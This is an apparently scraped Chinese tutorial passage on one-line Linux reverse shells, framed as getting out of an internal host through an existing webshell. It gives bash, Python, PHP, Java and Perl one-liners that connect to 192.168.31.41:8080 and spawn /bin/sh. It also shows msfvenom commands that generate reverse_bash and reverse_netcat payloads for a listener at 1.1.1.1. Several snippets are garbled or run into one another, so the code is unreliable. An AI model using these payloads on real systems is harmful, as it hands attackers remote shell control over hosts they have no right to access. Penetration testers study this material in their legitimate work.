「干货」Linux环境下一句话反弹shell总结( 二 )


目标主机为一个内网主机 , 并没有公网IP地址 , 我们无法从外网发起对目标主机的远程连接 , 此时我们使用的方法是使用获取的webshell主动发起一个反弹的shell到外网 , 然后获取一个目标主机的shell终端控制环境 , 而有关shell反弹的方法有很多这里简单介绍几种比较常见的方法 。
2.1 bash 直接反弹
bash一句话shell反弹:个人感觉最好用的用的方法就是使用的方法就是使用bash结合重定向方法的一句话 , 具体命令如下 。
(1) bash反弹一句话

root# bash -i >s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.31.41",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'2.4.2 php 脚本反弹
php -r '$sock=fsockopen("192.168.31.41",8080);exec("/bin/sh -i <'2.4.3 Java 脚本反弹
r = Runtime.getRuntime()p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/192.168.31.41/8080;cat < do $line 2> done"] as String[])p.waitFor()2.4.4 perl 脚本反弹
# msfvenom -l payloads 'cmd/unix/reverse'2.5 msfvenom 获取反弹一句话
学习过程中发现其实强大的MSF框架也为我们提供了生成一句话反弹shell的工具 , 即msfvenom 。 绝对的实用 , 当我们不记得前面说的所有反弹shell的反弹语句时 , 只要我们有Metasploit,随时我们都可以使用msfvenom -l 来查询生成我们所需要的各类命令行一句话 , 具体使用方法为各位看官老爷们收集如下 。
2.5.1 查询 payload 具体路径
我们直接可以使用 msfvenom -l 结合关键字过滤(如cmd/unix/reverse) , 找出我们需要的各类反弹一句话payload的路径信息 。
# root@kali:~# msfvenom -p cmd/unix/reverse_bash lhost=1.1.1.1 lport=12345 R
「干货」Linux环境下一句话反弹shell总结文章插图
查看以上截图 , 我们可以看到msfvenom支持生成反弹shell一句话的类型非常丰富 , 这里几乎是应有尽有 , 大家可以依据渗透测试对象自行选择使用 。
2.5.2 生成我们我们需要的命令行一句话
依照前面查找出的命令生成一句话payload路径 , 我们使用如下的命令生成反弹一句话 , 然后复制粘贴到靶机上运行即可 。
bash 反弹一句话生成
# root@kali:~# msfvenom -p cmd/unix/reverse_bash lhost=1.1.1.1 lport=12345 R阉割版nc反弹一句话生成
# root@kali:~# msfvenom -p cmd/unix/reverse_netcat lhost=1.1.1.1 lport=12345 R
「干货」Linux环境下一句话反弹shell总结文章插图
2.5.3 msfvenom 使用实例
(1) 开启攻击机监听
在攻击机上开启本地 TCP 12345 端口监听 , 准备监听机上的会话反弹 , 查看如下截图可以看到本地TCP 12345 端口监听已经开启 。
「干货」Linux环境下一句话反弹shell总结文章插图
(2) 获取python一句话
我们此时可以借助于MSF框架平台的msfvenom 工具自动生成一个python 反弹一句话 , 具体操作请参加如下截图 。 (当然这里的前提条件是靶机上安装有python环境 , 现在默认一般的linux发行版默认都安装有python环境 。 )
「干货」Linux环境下一句话反弹shell总结文章插图
(3) 靶机上运行python一句话